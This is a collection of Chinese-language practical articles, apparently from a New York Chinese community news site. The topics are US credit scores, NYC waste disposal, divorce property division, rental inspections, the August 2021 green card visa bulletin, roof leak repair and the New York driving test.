• 580 以下属于「很差」的信用分数,在申请信用卡、车贷、房贷,甚至租房的时候,都会给你带来麻烦,银行可能拒绝你的申请;有些房东也不会把房子租给你、担心你未来拖欠房租。

• 580-739 属于「还行」和「很好」的信用分数,有些信用产品会拒绝,有些会批准、但是不会给你最好的利率。

• 740-799 属于「优秀」的分数,在申请车贷和房贷的时候很容易批准,并且可以拿到很好的利率。

• 800以上属于「优异」的信用分数,基本上申请任何信用产品都会批准、能拿到最好的利率。

如何提高信用分数?

• 尽早申请信用卡,以获得更长的历史记录。

刚来美国、没有信用记录和历史,可申请:

1).押金信用卡。难度最低。

2).专门针对国际学生的信用卡 Deserve Edu : 0年费、1%返现,最重要的是无需 SSN !

3).新人神卡 Discover :这是很多人在美国的第一张信用卡, 0年费、有返现、对信用分数要求低。

(usa.gov/政府官方网站)

• 尽快多申请几张信用卡。每次申请都会调用你的记录,「信用查询」会增加、略微降低你的信用分数。但随着时间流逝,「账户总数」增加,得分会更高;而「信用查询」只追溯两年,其负面影响会越来越小。

• 最早开的卡不要取消。信用记录逐步建立之后,你能申请到额度更高、条件更好的卡,但是不要因此就取消了最初申请的那些额度低、可能没有任何返点的信用卡,否则你的信用记录会变短。长期持有的卡,最重要的是没有年费。

信用卡使用额度不要太高,最好控制在 1%—10%之间、不要超过20%。如果透支太多,可以提前还一部分,不要等到还款日期的时候才自动还款,因为信用分数更新的周期和你的信用卡还款周期可能不一样。

购买房屋或汽车这种大宗商品,分期付款、准时还款,信用会涨得很快。条件许可的时候,还可以申请一些其他的金融服务,如学生贷款、车贷、房贷等。不过,如果你的信用分数还很低,申请这些贷款可能被拒。

不要迟交水电费、电话费、医疗费…
不要小看这些一般来说并不会出现在信用报告上的账户,如果发生了欠费的情况,过一两个月这些账目就会被转到追债公司(colletor)手上,然后这个欠债账户(collection account)就会被上报到信用报告上面去,即使还清了欠款,这个曾经欠债的记录也会保留7年!

怎么查信用分数

1, http://www.creditkarma.com/credit karma 是个完全免费的信用分查询网站,你甚至都可以每天查询自己的信用分数,当然是 soft pull,不会影响你的信用分数的。 credit karma 从TransUnion 调出你的信用数据,用FAKO的方式计算出的分数。这种FAKO的计算方式和收费才能查到的FICO分数有一定的差异,FICO分数是一般银行用来考察你信用纪录所用的分数, 但是FAKO分数与之差异不大,所以一般用用没有问题。

2. http://www.creditsesame.com/credit sesame是一个跟上面的credit karma类似的网站,不过他们调用的是你Experian信用社的数据。Experian、Equifax和 TransUnion的分数都会不一样。然后申请信用卡的时候,银行会调用你一家或者几家的信用分数。

3. 如果你有Discover的卡,你的每月的statement上面会有你的FICO分数。

4. https://www.credit.com 每个月可以查询一下自己的信用报告,不是具体的分数, 是ABCD的分档和对应的分数范围,有信用报告。

5. https://www.quizzle.com/每6个月可以查询一次,有信用分和对应 的credit grade, 详细的信用报告。

6. https://www.annualcreditreport.com/cra/index.jsp 美国法律规定每个人每年可以向以上三家信用纪录公司的每一家免费索取一份你的信用纪录(不包括信用分数和等级,这两项需要另外交费)。因为一年只能要一次,所以需要时要讲技巧。因为这三家公司的纪录都是差不多的,所以你不用一次把三家的都要来,而是分成每四个月要一家的,这样你就可以保持追踪你的信用记录。

行者希望这篇文章能对新来美国的华人朋友们有所帮助,请持续关注金牌资讯网。

本文的内容不能被理解为是在提供法律专业意见。若需要法律意见或其他专业帮助,请咨询金牌资讯的专业人士。

 

 

2021-04-23 / by / in , ,
纽约垃圾处理不当违法 这18条建议一定要看

文|雨荷

纽约市卫生部门的垃圾处理量很惊人。DSNY是世界上最大的卫生部门,每天收集超过10,500吨的生活垃圾。生活垃圾种类繁多,其中包括油漆和电子产品,家用电器。如果您违反处置法,则可能会面临传票和最高数百美元的罚款。因此,住在纽约丢垃圾也是一门学问啊!

为什么不应该将危险产品丢弃在垃圾箱中?因为如果处理不当,则诸如电子产品,溶剂,易燃液体和汽车产品之类的家居物品可能会造成危险。这些材料不仅会污染纽约市的水道,还会严重危害环卫工人和垃圾填埋场的员工。

电子垃圾。

从2015年1月起,丢弃诸如手机,电视,显示器,笔记本电脑,MP3播放器和视频游戏机之类的电子产品是违法的。许多电子设备(例如电话和MP3播放器)携带重金属(例如汞,铅,锂和其他物质),这些金属在被焚化时会污染空气,或者被扔入垃圾填埋场会污染生态系统。

为了防止有害物品危害人类健康,请不要将这些物品扔进垃圾桶,以及如何处理的提示。

1.可充电电池

在将电池丢进垃圾箱之前,先检查一下要扔哪种电池是至关重要的。根据美国农业部(USDA)林业局的数据,需要将包含镍镉和铅酸的可充电电池带到特殊设施中。

2.灯泡

永远不要将荧光灯灯泡丢到垃圾箱中。根据美国环境保护署(EPA)的报告,荧光灯灯泡中含有汞,当汞释放到环境中时,会对汞造成严重损害。请查看Earth911,以找到可以帮助您回收旧荧光灯的服务。正确地回收它们之后,这些灯泡制成的材料(例如玻璃和金属)就可以成功地重新利用(并且不会对大气造成任何损害)。

3.油基涂料

油性涂料垃圾的处理。

如何正确处置涂料取决于涂料的成分。乳胶漆需要在特殊的废物处理场处置,您可以使用Earth911进行定位。对于油性涂料,只要将它们与吸收性材料混合并吸收,就可以将少量与家庭垃圾一起丢弃。如果您要处理大量的油基涂料,则需要联系私人承包商来收拾并妥善处理。

4.机油

机油像打火机油一样易燃,因此是危险废物。除了将这种液体带入危险废物处理设施之外,您还可以将其带到当地的汽车维修店,以便对其进行正确使用。

5.旧笔记本电脑

笔记本电脑不要扔进垃圾桶,因为它们会毒化汞,铅和铬等化学物质。如果您的计算机仍在运行,可以以旧换新的程序在此过程中获利;如果您的笔记本电脑完全不能用,商店免费提供电子回收服务。

6.智能手机和平板电脑

就像笔记本电脑一样,其他手持式电子产品也可能包含有毒物质。如果您有不再使用的手机或平板电脑,则可以将其带到Staples,然后根据情况将其回收或换成现金。

7.未使用的药物

如果药物处理不当,它们最终可能会进入供水系统。美国药物管制局(DEA)在全国范围内举办了国家处方药回收活动,您可以在这里安全处置未使用药物。而且,大多数市政当局还设有管制物质公共处置场所,这些场所全年都向公众开放。

也就是说,有些方法可以在家中摆脱药物的使用。只要没有列出具体的处置说明,联邦药物管理局(FDA)就会指出您可以将药物与不可食用的东西混合使用,例如猫砂或灰尘。然后将混合物放入塑料袋中,然后扔掉。

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药物垃圾的处理。

8.刀子和工具

刀不用不要将其简单地放入垃圾桶。将不需要的刀具捐赠给当地的汤厨房或旧货店(只要他们接受它们作为捐赠)。但是,如果对方不接受,请在您所在的地区找到一个废旧金属回收站。

旧的铁锹和耙子,旧货店通常会很乐意将这些工具从您手上拿下来并放在架子上。其次,Earth911指出:“废金属是您可以回收的最有价值的产品之一。”

9.松散的碎玻璃

在处理方面,玻璃和刀子遵循相同的规则。像这样的物体可能会切伤某人,因此在将其放入垃圾箱之前,需要先将其存放在柔软的东西中或请将其密封在一个盒子中、包装在几张报纸中,然后将其放入垃圾中。

10.邮件

所有邮件是可回收的。但是由于信用卡公司,医生等发出的信件中包含了所有有价值的信息,因此安全公司LifeLock指出:“您的邮件可能是身份盗窃者的重要目标”。粉碎并回收您的邮件,即使它是垃圾邮件也是如此。

11.头发造型工具

根据无毒未来,电气产品包含有害化学物质,例如铅,铬和镉,这些化学物质被丢弃后,“可能会逸出产品并污染空气”。

Earth911指出:“卷发器,吹风机和其他类似的头发用具可以回收为废金属,而不必扔掉。” “尽管这些设备不能放在路边的回收箱中,但在收集废金属的任何地方都可以接受。”

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电器垃圾的处理。

12.旧衣物

您是否想知道扔掉的衣服会发生什么?根据EPA的数据,2015年,美国有1050万吨纺织品最终被填埋垃圾场。由于这些成堆的衣物不可生物降解,因此最终造成了对环境的污染。有一种叫做纺织品回收的东西可以完全避免这种情况。可以把衣服放在收集箱,以环保的方式进行回收。

13.太空加热器

如果您的太空取暖器主要由塑料制成,并且不含任何有害物质,则可以将其与家庭垃圾一起处理;如果加热器主要由不含任何有害流体的金属制成,则可以将其带到废金属中心进行回收;如果加热器中确实包含有害物质,那么您需要将其带到危险废物处理设施中以进行安全维护。

14.墨盒

不要扔掉旧墨盒。如果您在Staples购买墨水或碳粉,那么您也可以在Staples对其进行回收。另外,您也可以将墨盒带到Costco并重新填充墨水,这样可以为您节约一部分资金。

15.旧家电和床垫

您可以将冰箱或烘干机放在楼下,有需要的拿走;在商店购买电器时,请询问销售人员他们是否提供拆卸服务。大多数公司会从您手中拿走不需要的物品,有时可能是免费的。

不要的床垫可用塑料包好,放在门外。

将床垫用塑料袋装好,放在路边以便路人取走,相反,直接把垫子放在路边会被罚款。例如,纽约市警告说,没有塑料外的床垫会吸引臭虫并处以100美元的罚款。

16.旧自行车

旧自行车,即使是坏的,各地的慈善机构也会很高兴的将旧自行车回收。在纽约,自行车回收站会翻新旧自行车并将其捐赠给社区中的年轻人;在旧金山,踏板革命(Pedal Revolution)使用旧自行车教当地青年如何制造和修理自行车。

17.旧锅碗瓢盆

大多数锅具都是金属制成的,因此可以回收利用,当炊具被刮伤且无法使用时,将其带到当地的废旧金属回收设施。

18.旧书

旧书可以捐赠给您所在地区有当地图书馆,《更好的世界图书》(Better World Books)在全国范围内接受捐赠,该组织从出售捐赠的图书中获得的部分利润将用于资助非盈利性扫盲组织。

 

2021-04-23 / by / in , , , ,
在美国离婚的财产分割 怎样保护父母赠送的财产
文|无疆行者

美国的“结婚、离婚法”有三个特点:一是最大程度保护儿童利益,二是财产分割的天平较倾斜向女性,三是对出轨的一方多一些惩罚。

在美国离婚的财产分割

美国有10个州对已婚家庭财产实行“共同财产”法律保护。这10个州包括:亚利桑那州、加州、爱达荷州、路易斯安那州、内华达州、新墨西哥州、德州、华盛顿州、威斯康星州,阿拉斯加虽然也实行“共同财产”,但需男女双方同意。在这些州,男女结婚后,不论一方是否工作,男女双方在婚姻期间的财产,所赚的钱或者是债务,是双方所共有。

美国还有40个州实行的是公平财产法律,在婚姻期间,男女谁赚的钱、谁积累的财产就归谁所有,但在离婚时不是按照谁拥有多少财产来划分,而是考虑很多因素。

在实施公平财产法律的州,男女离婚时分割家产按照公平分割财产法来执行,它不是离婚男女一半对一半来分家产,而是讲求公平。按照公平分割法分家产,主要考虑的因素有:双方的年龄、身体状况、教育程度、是否为残疾人、双方的收入、离婚后未来赚钱的能力、离婚后获得资产的能力、被抚养儿童的特殊需要、对家庭非金钱类的贡献、结婚时间长短、婚前对家庭财产的贡献、非夫妻共同拥有的财产、家庭资产的增值、离婚的原因、分割财产对纳税上的影响等。

个人财产如何处理

婚前各自财产和婚后个人财产如何处理的问题。原则上结婚前的个人独立财产、婚前个人资产所产生的收入、租金、利息、红利、结婚前已经获得的退休金、在婚姻期间个人收到的礼物、个人遗产的继承、人体伤害的赔偿等,仍属于个人财产,在离婚时一方可以单方保留,不能按照“共同财产”来分。但在有些特殊情况下,这些属于个人的资产也可能被裁定可以分割给另一方。例如,配偶由于年龄、健康和伤残等原因无法工作,婚姻中的债务超过家庭资产

怎样保护父母赠予的财产

1. 签署婚前协议书

婚前协议书是双方在婚前订定协议婚后如何处理各自的财产及收入,例如在加州,目的是不使用加州家庭法订立的夫妇 “共有财产 “(community property)制度。

2. 父母赠予的财产的产权

1)必须与婚后的财产完全分开并千万不要在产权上加对方的名字。

2)如父母赠予房产,产权证(deed)必须清楚写明是赠予。若父母提供金钱购买房产,必须保存所有证据,证明金钱是来自父母帐户。

3)假若房产有贷款,除非支付贷款来自父母或自己婚前的存款,否则若用婚后的收入来支付,婚后的收入属共有财产(community property),除非有婚前协议书证明婚后的收入属自己个人财产,否者对方对房产就有一定的共同权益(community interest)了。

4)若赠予的房产属收租物业,应另设独立帐户存入租金及用此帐户支付有关物业的开支。

5)若父母赠与属非房产,例如汽车,金钱,珠宝等,以上建议亦同样适用。属于个人的珠宝不要放在对方或共同的保险箱。例如此前的一名客户把自己的珠宝放在对方的保险箱,结果离婚时就追不回来了。

6)汽车的属权(pink slip)不应加对方的名字,汽车的保险尽可能不要放在共同保险单内。汽车若要分期付款,不要用婚后的收入支付。

注:本文的内容不能被理解为是在提供法律专业意见。若需要法律意见或其他专业帮助,请咨询金牌资讯的专业人士。


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2021-04-21 / by / in , ,
在美国租房 填写房屋租赁合同时 这12件事情不可少

文|雨荷

对于所有人来说,搬进新环境可能是一个非常激动人心的时刻。但是在租用房屋之前,应该考虑很多事情,甚至该公寓、房屋可能被视为非法公寓。因此,在您同意租公寓之前,对公寓进行深入检查非常重要。

如果未使用房屋租赁检查报告,则房东可能不记得入住之前套房中存在哪些损坏,这可能导致房东向您收取您未造成的损坏,并可能在您扣留部分押金之后您搬出去支付维修费用。

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房屋租赁 示意图。

您需要检查以下12件事情。

1.记录每个细节

当您首次进入住宅出租物业时,通常首先要注意的是地板,墙壁和地毯。墙壁上通常有前任承租人的图片或艺术品上的一些小孔(前提是房东在前任承租人搬出后没有重新粉刷或固定墙壁),或者硬木地板上有一些小破口,您想确保在检查报告中记录了更明显的损坏(例如墙壁上的大洞或地毯上明显的污渍)(通常房东会拍照),以表明这些损坏是前任房客的过错。此外,您可能需要自己拍摄损害赔偿图片以作记录。

2.检查手机接收情况

在我们的生活中手机是非常重要的。很多人依靠它来完成从工作到与朋友和家人进行交流,甚至是日常工作等诸多事情。如果由于手机信号不良而几乎无法在新公寓中使用手机,那就是个大问题。当您租房时,请确保尝试在公寓里的不同区域使用电话,以确保接收的信号是否符合您的标准。

Wi-Fi对我们所有人来说也非常重要。尽管有些房东在租金中包括水和暖气等,也会有房东可能会提供诸如电缆和Wi-Fi之类的,因此请不要忘记询问Wi-Fi情况。

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Wi-Fi 示意图。

3.检查灯具开关以确保正常工作

检查每个房间的灯以确保它们能正常工作,如果电灯开关无法正常工作,或者需要更换灯具中的灯泡,那么现在是个好时机。如果您在未检查这些内容的情况下搬进来,但发现是坏的,会感到非常郁闷。

4.检查电源插座

我们每天使用的大量物品都需要电源插座才能正常工作,例如电话充电器,厨房电器,电视等。访问公寓时,您应该带些小东西插入所有可以找到的插座,以确保都能正常工作。

想不出要带给您的小东西进行测试?前往当地的五金店并购买电插座壁式插头交流电源插座接地测试仪。您可以在5-10美元左右找到一个,它将检查公寓中每个单独插座的电路状态。

5.测试电器

需要测试公寓里的电器,炉子,洗碗机,烤箱,微波炉和冰箱等东西几乎是我们每天都需要和使用的东西。仔细检查这些设备的,并确保它们能正常使用。如果有的电器有问题,则需要与房东确定由谁负责保养和维修达成协议。

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厨房 示意图。

6.检查浴室,确保马桶和水龙头正常工作

当您与房东一起浏览出租套房时,您可能不会考虑冲洗马桶或打开浴室的水龙头,尤其是在视觉上没有问题的情况下(例如马桶上的裂缝或漏掉水龙头上的手柄),但最好检查一下它们以确保管道能够正常工作。

7.检查害虫

在看房是要检查一下,房间是否有臭虫或蟑螂和啮齿动物之类的害虫,这是大的问题。害虫残留在您的公寓中是不卫生的,要查看橱柜的内部或顶部,是否有任何粪便。同样,检查墙壁和踢脚板是否有大的裂缝或孔洞。如果当前存在害虫问题,则应在租约中注明,因为房东应披露有关公寓的重要信息,例如害虫问题。但是要积极主动,并提出具体问题。

8.检查安全设备,例如烟雾探测器,是否处于正常工作状态。

如果您在租赁物业中居住时遇到紧急情况,您希望确信烟雾报警器和一氧化碳报警器等安全设备能够正常工作,从而可以提醒您注意危险。如果您注意到烟雾探测器没有点亮(如指示灯亮或设备上的灯不亮),则应要求房东在搬入之前确保这些设备正在工作。

9.检查恒温器和HVAC(供暖,通风和空调)系统

出租单元中的恒温器应显示与您感觉的温度相适应的温度,因此,如果您要出租的公寓中明显冷,恒温器显示屏将显示该温度为室温,询问房东HVAC是否按预期工作。

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供暖系统 示意图。

10.注意一天中不同时间的停车场。

如果您住在大楼公寓中,公寓中可能拥有100多人。这使得停车场非常重要。如果分配了停车位,那会更好一些,但是如果没有分配了停车位,您需要知道一些规则。

11.邻居交谈。

如果方便,尝试与居住在该综合大楼中的其他人进行交谈。他们已经在那里住了一段时间,因此,知道那里的生活是好是坏。向他们询问一些问题,他们可能会对维护人员以及房东在过去的几个月和几年中的情况发表评论。另一个提示是找出附近是否有可以与之交谈的公寓协会小组。

12.租赁协议

在进入公寓之前检查一下所签的租赁协议上的所有信息从头到尾要仔细阅读,并在签字之前提出您的任何疑问。

包括房东的转租政策。大多数租赁都需要房东的同意才能转租。因此,如果您打算租一间公寓,并可以在夏季租借的几个月内转租出去,那么您事先要与房东沟通好,然后再签署租约。其他事情可能包括公寓的翻新,搬出后何时可以收回安全押金,租赁的政策以及病虫害防治责任。

 

 

2021-04-21 / by / in , , , ,
最新绿卡排期 2021年8月已发布 | 职业移民 亲属移民 递件日期 审批日期

美国国务院已发布最新2021年8月份的美国移民绿卡排期。如何一次看懂美国国务院发布的移民排期签证公告?8月份的绿卡排期进度如何,相比之前有哪些变动呢?

职业移民“绿卡排期” 港澳台申请人与之前相比没有变化, 中国大陆出生申请人职业移民审批日期EB-2和EB-3分别向前推进121天和7天,EB-1依然无需排期。

而在“递交日期”排期方面,港澳台申请人的亲属移民有小幅推进;中国大陆出生申请人的亲属移民递件申请日期与上月相比没有变化;至于职业移民的递件排期,港澳台与中国大陆出生申请人与上月相比都没有变化。

下面,我们看一下美国国务院公布的2021年8月签证排期表:

20218月绿卡批准排期

亲属移民

亲属移民的“绿卡最后批准排期”(Application Final Action Dates,简称“绿卡批准排期”),港澳台及中国大陆出生申请人的具体排期变化如下:

F−1类:审批日推进7天;

F−2A类:无变化;

F−2B类:审批日前进7天;

F−3类:审批日前进7天;

F−4类:审批日前进21天。

 

职业移民

港澳台申请人所有类别都没有变更。

中国大陆出生申请人EB-2和EB-3有推进:

EB-1排期:无变化;

EB-2排期:中国大陆出生,审批日期前进121天;

EB-3排期:中国大陆出生,审批日期前进7天;

EB-4排期:无变化;

EB-5排期投资移民直投:中国大陆出生,审批日期前进7天;

EB-5排期投资移民区域中心:中国大陆出生,8月份无安排。

20218 递件排期

美国国务院签证公告自2015年10月起实行双轨制,在“绿卡批准排期”之外增加了一项“递交申请排期”(Dates for Filing Application,简称“递件排期”)。港澳台及中国大陆出生申请人的具体排期变化如下:

亲属移民

中国大陆出生亲属移民递件日期与上月相比,没有前进。

港澳台变化如下:

F1排期:递件日期前进75天;

F2-A排期:递件日期前进31天;

F2-B排期:递件日期前进38天;

F3排期:递件日期前进21天;

F4排期:递件日期无变化;

职业移民

港澳台申请人,所有类别递件排期都没有变更。

中国大陆出生申请人EB-1和EB-4递件不需要排期;EB-2,EB-3,EB-5排期与上月相比没有变化。

 

美国国务院公布的排期表,从2015年10月开始采纳的双表格的形式:

A表为移民签证名额的实际排期(Application Final Action Dates),也称为“移民排期”。

B表显示什么时候各移民签证类别的调整身份申请(I-485)可以递交(Dates for Filing Applications),也称为“递件排期”。但能否根据B表日期递交申请则取决于移民局。查看职业移民递件日期表格是否开启,需要前往美国移民局USCIS网站查询。

根据移民局网页连结的显示,2021年8月签证排期表中家庭移民申请需要根据B表的日期递交移民调整身份的申请,而职业移民申请则必须根据A表的日期递交移民调整身份的申请。

中国大陆亲属移民第2A类优先由于没有排期,则可以根据A表递交调整身份的申请。等待排期的家庭移民申请人应当仔细核对自己移民签证类别的可递交申请的日期(即B表的日期)以便尽早递交调整身份申请。中国大陆职业移民要按照A表的实际排期日期递交,而中国大陆职业移民一类优先由于没有排期可以随时递交调整身份的申请。

查看移民排期

想到美国国务院官网上查看绿卡排期进度,可以进入美国国务院领事事务署官方网站签证公告(移民排期)专页。页面会显示当月(Current Visa Bulletin)和下月(Upcoming Visa Bulletin)的绿卡排期。

根据需要点击进入想要查看的月份,就能看到具体的排期信息了。

资料来源:美国国务院领事事务署官方网站签证公告(移民排期)专页

 

声明:本文非法律文件,仅作为一般性参考内容,勿以此为依据提出法律诉讼或任何证明,我们不做任何形式的责任。申办移民时请读者向合格律师提出咨询,请求专业服务。

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2021-04-21 / by / in , ,
在美国屋顶漏水 929-513-8391 教你如何查找根源和屋顶漏水修复 (纽约修屋顶公司)

文|雨荷

屋顶漏水的最明显后果是损坏的天花板托梁,墙框,甚至装饰板和外部装饰物都可能成为水浸的受害者。长期的屋顶泄漏会导致木材变质并变薄,腐烂的屋顶框架会引起严重的问题,需要昂贵的木框架维修。屋顶漏水绝对不能掉以轻心。

屋顶漏水该怎么办?如果您房子向保险公司提出房屋保险索赔时,需要拍摄照片和记录所有内容的重要性。

纽约专业华人修屋顶服务

929-513-8391

(24小时,随接电话,如果在忙工,会立即回复)

 

屋顶漏水维修指南简介

如果屋顶漏水,可能使您第一观察到的就是天花板上或墙壁上有水渍。修复轻微的屋顶泄漏比较简单,但查找漏水点是很难的部分。在开始查找泄漏之前,如果最近经历了重大天气事件或龙卷风,雷暴甚至飓风等自然灾害,则检查屋顶是否有泄漏的迹象尤为重要。即使是最小的冰雹石也会造成屋顶冰雹损坏和屋顶漏水。

检查屋顶漏水 示意图。

屋顶泄漏的根源。

最难发现的就是屋顶漏水源,因为您可以看到泄漏的斑点(水斑或污渍)通常并不特别靠近泄漏点。毕竟,水会从进入屋顶的位置向下流,因此实际的孔或泄漏在屋顶平面上可能会更高。例如,屋顶漏水经常从天花板的顶部向下流,直到有水可以滴落的地方,它可能是一个相当大的漏水屋顶。

屋顶专家会建议您在寻找屋顶泄漏点时通常是通过烟囱,天窗,通风口或沿着不同平面的交点。如果您没有阁楼通道或拱形天花板,则可能需要上屋顶或寻找其他检查方法。这可能很棘手,如果您不确定自己的能力,则可能需要为此雇用专业人员。在您所在地区找到专业的屋顶检漏公司,这样也可以帮助您节省时间和金钱。

屋顶漏水有哪些不同类型。

屋顶泄漏的类型几乎与屋顶及其相关的自然灾害或事故的类型一样多,但是一些更常见的泄漏发生在房屋比较薄弱的地方。其中包括通风管,屋顶通风口,烟囱,屋顶山谷,钉子周围,天窗周围以及其它连接处;屋顶板损坏,钉子松动或丢失以及冰堵也可能导致屋顶泄漏。

如何从内部固定漏水的屋顶?

如果您没有通道或无法固定屋顶外部的设备,则可以使用多种方法从内部进行固定。

一旦发现屋顶泄漏的根源,最简单的修补方法就是使用胶合板,多余的木瓦和一些屋顶柏油进行临时修补。

房屋维修 示意图。

如果您没有房屋维修的经验,那么您可到当地的房屋装修或五金店可以帮助您找到合适的材料,包括屋顶泄漏修复密封胶。

如果您已找到泄漏点,并且有一些屋顶焦油,胶合板或备用带状瓦,则可以制作一个临时补丁。使用油灰刀或类似工具从屋顶内部将屋面焦油散布在泄漏处,然后将胶合板或木瓦放在焦油上,并在补片的边缘更多地散布以将其固定在适当的位置。

自己做的屋顶泄漏维修。

DIY屋顶泄漏维修听起来可能令人生畏,但修补或修补较小的屋顶泄漏是自己可以做的事情,这些需要一点知识和一些基本工具和材料。把看起来已经剥落钉子或螺丝钉更换。密封屋顶周围接缝(例如通风口和烟囱周围的接缝)的加强筋,也很容易自己更换。如果它生锈了或没有正确地钉在适当的位置,则可以撬起带状疱疹,并用钉子固定在适当的位置,然后在其下面涂上镀锌金属。可以在当地的家居装饰商店购买耗材。

另一个常见的问题是墙壁和天窗的泄漏,这通常是旧的或损坏的填缝物造成的,并且很容易更换!

用油灰刀在损坏的区域附近挖洞,当发现斑点看起来腐烂或腐蚀时,请添加更多的填缝剂以密封该区域,直到您可以让专家检查出来为止。承包商应检查墙壁或天窗的广泛损坏。如果要自行修复屋顶泄漏,填缝不是解决大量泄漏的长期解决方案。

 

2021-04-20 / by / in , , , , , , , ,
2021纽约驾照笔试、预约、路考 有哪些流程?要注意什麼?(下)

文|交通小伙伴

要考取纽约驾照,必须先通过笔试,拿到学习驾照(Learner Permit),完成练车、驾驶训练课程,接下来才能进行路考,通过后便能取得纽约驾照。纽约考驾照相关流程是什么?又有哪些需要注意的地方呢?以下为你提供路考资讯。

纽约驾照报名、笔试和路考等考照流程,皆由车辆管理局(Department of Motor Vehicles, DMV)负责。纽约州规定,16岁及以上、住在该州至少90天的居民,可以考取纽约驾照。

注:因疫情关系,所有在2020年3月1日或之后到期的驾照、学习驾照,至少可延长至2021年5月19日。(2021年4月26日更新)

考取纽约驾照流程:
准备申请材料 → 笔试 → 驾驶训练课程 → 路考取得驾照

要考取纽约驾照,可以在线预约路考或通过电话拨打1-518-402-2100进行预约,并选择路考地点。

纽约驾照:路考

预约路考

通过驾驶训练课程、充分练车后,接着就可以预约路考啦!

你可以在线预约路考(可点击链接)或通过电话拨打1-518-402-2100进行预约,并选择路考地点。

通常预约等待时间大概要3周至5周,但如果是在夏季和学生放假的高峰期,可能要等10周左右。一般路考时间都是在工作日,只有少部分在周六。

如果要更改考试时间,可以先搜寻新的预约时间,并在预约新的日期前,取消原本的预约,才能进行新的预约。
注:不能同时预约多个时间。

预约时间最好不要选在下午,因为下午1时至3时,人的注意力通常不太好,下午2时至3时,则是学校放学的时间,许多家长会开车接送小孩,路上的车会变多,容易造成紧张而出现失误或违规。

参加路考

最好提前30分钟到达考试现场,如果迟到的话,可能会被取消本次考试,必须重新预约才能再次报考。

如果遇到恶劣天气或道路施工,考试时间可能会被取消或延期,在出门参加路考前,可以先查询DMV相关网页(可点击链接)或通过电话拨打1-518-402-2100查询。

要考取纽约驾照,路考時保持平常心,尽可能完成考官的指示。

疫情期間 路考当天,需要准备、注意什么?

1. 有效的纽约州学习驾照。
2. 近视者需配戴眼镜或隐形眼镜。
3. 证前课程结业证书(MV-278)或驾驶教育课程结业证书(MV-285)正本。
注:通过在线课程完成5小时训练课程者,不需携带结业证书。
4. 必须由年满21岁、持有正式驾照者的陪同之下,参加路考。
5. 路考使用的车辆必须有效注册、年检,可正常运转,保持内装整洁,车辆必须有安全带,前座乘客车门能从车内打开。
注:记得检查喇叭、雨刷、大灯、煞车灯、转向灯都能正常运作。
6. 因疫情关系,报考人、陪考者需戴上面罩,包括布、外科口罩、N95口罩等。并尽可能与其他人保持6英尺的距离。到达考试现场后,需用消毒湿巾对副驾驶座进行消毒。
7. 考试前,报考人、陪考者需测量体温,如果有一人体温超过华氏100度、出现COVID-19症状,或是最近曾和感染COVID-19的人密切接触,本次考试将被取消。

路考的项目包括起步、转弯、变换车道、U型转弯、平行泊车等。考官会根据应考人出现的失误或违规,给予相应的扣分,扣分低于30分才算通过。

出发前,可以告诉考官你不是native speaker,请他下指示时说慢一点,如果没有听清楚考官说的,务必再次提问。一般而言,考官不会特别刁难。

*路考时,应注意什么?
1. 转头幅度一定要大,如果需要看左右后照镜,就需要转头左右看。
2. 行驶速度不要太快或太慢,切记绝对不可以超速,尽量用速限低一点的速度前进。
3. 遇到行人,一定要礼让。
4. 看到停车标志(STOP),一定要停下(车速为0),但不可急踩煞车。
5. 在没有划黄线的双向路,必须靠右行驶。
6. 遇到黄灯应减速停车,除非车头已经通过十字路口,否则不要抢黄灯通过。
7. 遇到红灯停车时,要停在停止线前,尽量不要压到白线。
8. 最重要的是,不要紧张,保持平常心,尽可能完成考官的指示,不管该项完成度如何,尽力完成下一个指示。

如果这次没有通过路考,再上网预约一次即可。DMV规定,学习驾照的申请费中,包含前两次路考的费用(10美元),因此第二次路考不用额外付费;但第三次开始,需额外支付10美元(可以考两次路考)。

通过纽约驾照路考后,考官会给你一张临时驾照,你就可以开车上路啦!

纽约驾照:取得驾照

通过路考后,考官会给你一张临时驾照,你就可以开车上路啦!记得将临时驾照和学习驾照放在一起。大约2周左右,就能收到正式驾照。

如果要查询驾照邮寄状态,可以在DMV相关网页(可点击链接)进行查询。

第一驾校(718)-460-1388

法拉盛 汽车驾驶学校718-359-1963

 

2021-04-20 / by / in , , , , , ,
2021纽约驾照笔试、预约、路考 有哪些流程?要注意什麼?(中)

文|交通小伙伴

要考取纽约驾照,首先必须先通过笔试,拿到学习驾照(Learner Permit),才能进行下一步──练车、接受驾驶训练课程,随后再进行路考,通过后便能取得纽约驾照。纽约考驾照相关流程是什么?又有哪些需要注意的地方呢?以下为你提供驾驶训练课程资讯。

纽约驾照报名、笔试和路考等考照流程,皆由车辆管理局(Department of Motor Vehicles, DMV)负责。纽约州规定,16岁及以上、住在该州至少90天的居民,可以考取纽约驾照。

注:因疫情关系,所有在2020年3月1日或之后到期的驾照、学习驾照,至少可延长至2021年5月19日。(2021年4月26日更新)

考取驾照流程:
准备申请材料 → 笔试 → 驾驶训练课程 → 路考 → 取得驾照

要考取纽约驾照,至少要练车超过50小时,其中包括至少15小时的夜间驾驶训练。

纽约驾照:驾驶训练-练车

如果没有报名驾驶学校,根据DMV规定,学习驾照(Learner Permit)持有人不得独自上路,必须在年满21岁、持有正式驾照者的陪同之下,才可以开车。

在预约路考之前,至少要练车超过50小时,其中包括至少15小时的夜间驾驶训练。DMV建议,在中度到重度交通流量道路,至少练车10小时。

虽然路考是在平面道路进行,但DMV建议,学习驾照持有人也应该在高速公路和其它类型的公路上练车。

此外,学习驾照持有人不能到以下区域练车:
1. DMV路考区域。
2. 纽约市公园内的街道。
3. 罗伯特肯尼迪大桥和隧道管理局(Triborough Bridge and Tunnel Authority, TBTA)管辖的所有桥梁或隧道。
4. 威彻斯特县(Westchester County):Cross County Parkway、Hutchinson River Parkway、Saw Mill River Parkway、Taconic State Parkway。

要考取纽约驾照,学习驾照持有人年满18岁,其5小时训练课程可以选择在线教学。

纽约驾照:驾驶训练-上课

除了练车之外,学习驾照持有人还必须接受证前课程(Pre-Licensing Course, PLC)(也就是俗称的5小时训练课程)或是驾驶教育课程(Driver Education Course, DEC)(48小时的课程)。

5小时训练课程,在高中、大学和驾驶学校,以及合作教育服务委员会BOCES)皆有开设,可以选择面授学习在线教学

要知道你所在地区哪里有开设5小时训练课程,可至DMV相关网页(可点击链接)进行查询。

借由此课程,可以学习基本的道路规则、安全驾驶原则、防御性驾驶技能,以及其它影响驾驶的因素。

PLC、DEC两者的区别是:
PLC:5小时课程,完成课程后取得结业证书(MV-278),有效期1年。
DEC:24小时理论课程、24小时实操演示,完成课程后取得结业证书(MV-285),有效期2年。
